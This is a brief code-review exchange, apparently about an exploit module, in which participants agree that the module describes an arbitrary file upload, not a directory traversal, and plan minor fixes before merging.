According to the code, it looks like an arbitrary File Upload more than a directory traversal vulnerability, as written in the Name and Description of the module. Is it right or I'm forgetting something ?

Thanks!

[bcoles]

You're correct. 'Arbitrary file upload' is more applicable.

Awesome, in this case, fixing things by myself, and landing, are just minor changes, thanks @bcoles!
